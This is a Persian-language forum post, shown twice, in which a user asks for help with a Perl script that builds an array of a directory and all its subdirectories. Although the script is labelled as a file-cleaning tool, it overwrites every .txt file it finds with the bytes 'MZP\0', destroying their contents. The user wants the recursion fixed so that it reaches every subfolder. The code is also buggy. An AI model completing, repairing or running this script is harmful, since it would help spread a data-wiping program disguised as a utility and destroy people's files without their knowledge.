sali444
جمعه 04 آذر 1390, 16:03 عصر
سلام دوستان
من دارم یه برنامه می نویسم که نیاز دارم یه دایرکتوریو با کل ساب هاش بریزم تو آرایه.
مشکل اینجاست که فقط اولین دایرکتوری ها رو ایندکس می کنه...
یعنی dir1 و subdir1 و subdir1
به این شکل
dir1
subdir1
subdir1
subdir2
subdir2
dir2
subdir2
subdir2
الگوریتم کار رو بهم بدید هم می تونه کمکم کنه...
#!/usr/bin/perl
# Massive Def
# for cleaning files data
#Libraries
use Cwd qw/chdir/;
#variables
$ARGC=@ARGV;
$_dir='.';
@directory;
$bits = "\x4D\x5A\x50\x00";
$i2 = -1;
$root = -1;
$dircount = 0;
if ($ARGC !=1)
{
printf "[+] Use mew.pl -0";
sleep(2);
exit(1);
}
_reading();
sub _reading # Reading directory's files and wow !!! ... <1>
{
print "\$_dir = $_dir\n";
if( $_dir eq "" )
{
_ex();
}
opendir (DIR, $_dir) or die "Couldn't open directory, $!"; # Reading a directory ...
chdir $_dir and $root++ or die "Can't . . ., $!";
$_dir = "";
$counter = 0;
while ($file = readdir DIR)
{
$length = 50 - (length $file); # Computing spaces between name and type ... <2>
$space = " "x$length; # </2>
if( $counter > 1 )
{
$filelicense = 1;
open(TFile,$file) or $filelicense = 0; # Recognize Directories and Files ... <3>
close(TFile);
if( $filelicense == 1 )
{
print $file.$space." File\n";
}
else
{
print $file.$space." Directory\n";
$directory[$root][$dircount] = "$file";
$dircount++;
} # </3>
}
$counter++;
}
close DIR;
print '[+] '.($counter - 2)." At This...\n";
for($i = 2; $i <= $counter; $i++)
{
my @File = glob("*.txt");
foreach my $massive(@File)
{
open(EDITME, '>', $massive);
print EDITME $bits;
close(EDITME);
}
}
for($i2; $i2 < (length @directory);$i2++)
{
$_dir = $directory[$i2];
#$directory[$i2] = "";
@directory = "";
if($_dir ne "")
{
$dircount = 0;
_reading();
}
}
} # </1>
sub _ex
{
for($i3 = -1; $i < (length @d_);$i3++)
{
print $i3." : ".$d_i3;
}
}
من دارم یه برنامه می نویسم که نیاز دارم یه دایرکتوریو با کل ساب هاش بریزم تو آرایه.
مشکل اینجاست که فقط اولین دایرکتوری ها رو ایندکس می کنه...
یعنی dir1 و subdir1 و subdir1
به این شکل
dir1
subdir1
subdir1
subdir2
subdir2
dir2
subdir2
subdir2
الگوریتم کار رو بهم بدید هم می تونه کمکم کنه...
#!/usr/bin/perl
# Massive Def
# for cleaning files data
#Libraries
use Cwd qw/chdir/;
#variables
$ARGC=@ARGV;
$_dir='.';
@directory;
$bits = "\x4D\x5A\x50\x00";
$i2 = -1;
$root = -1;
$dircount = 0;
if ($ARGC !=1)
{
printf "[+] Use mew.pl -0";
sleep(2);
exit(1);
}
_reading();
sub _reading # Reading directory's files and wow !!! ... <1>
{
print "\$_dir = $_dir\n";
if( $_dir eq "" )
{
_ex();
}
opendir (DIR, $_dir) or die "Couldn't open directory, $!"; # Reading a directory ...
chdir $_dir and $root++ or die "Can't . . ., $!";
$_dir = "";
$counter = 0;
while ($file = readdir DIR)
{
$length = 50 - (length $file); # Computing spaces between name and type ... <2>
$space = " "x$length; # </2>
if( $counter > 1 )
{
$filelicense = 1;
open(TFile,$file) or $filelicense = 0; # Recognize Directories and Files ... <3>
close(TFile);
if( $filelicense == 1 )
{
print $file.$space." File\n";
}
else
{
print $file.$space." Directory\n";
$directory[$root][$dircount] = "$file";
$dircount++;
} # </3>
}
$counter++;
}
close DIR;
print '[+] '.($counter - 2)." At This...\n";
for($i = 2; $i <= $counter; $i++)
{
my @File = glob("*.txt");
foreach my $massive(@File)
{
open(EDITME, '>', $massive);
print EDITME $bits;
close(EDITME);
}
}
for($i2; $i2 < (length @directory);$i2++)
{
$_dir = $directory[$i2];
#$directory[$i2] = "";
@directory = "";
if($_dir ne "")
{
$dircount = 0;
_reading();
}
}
} # </1>
sub _ex
{
for($i3 = -1; $i < (length @d_);$i3++)
{
print $i3." : ".$d_i3;
}
}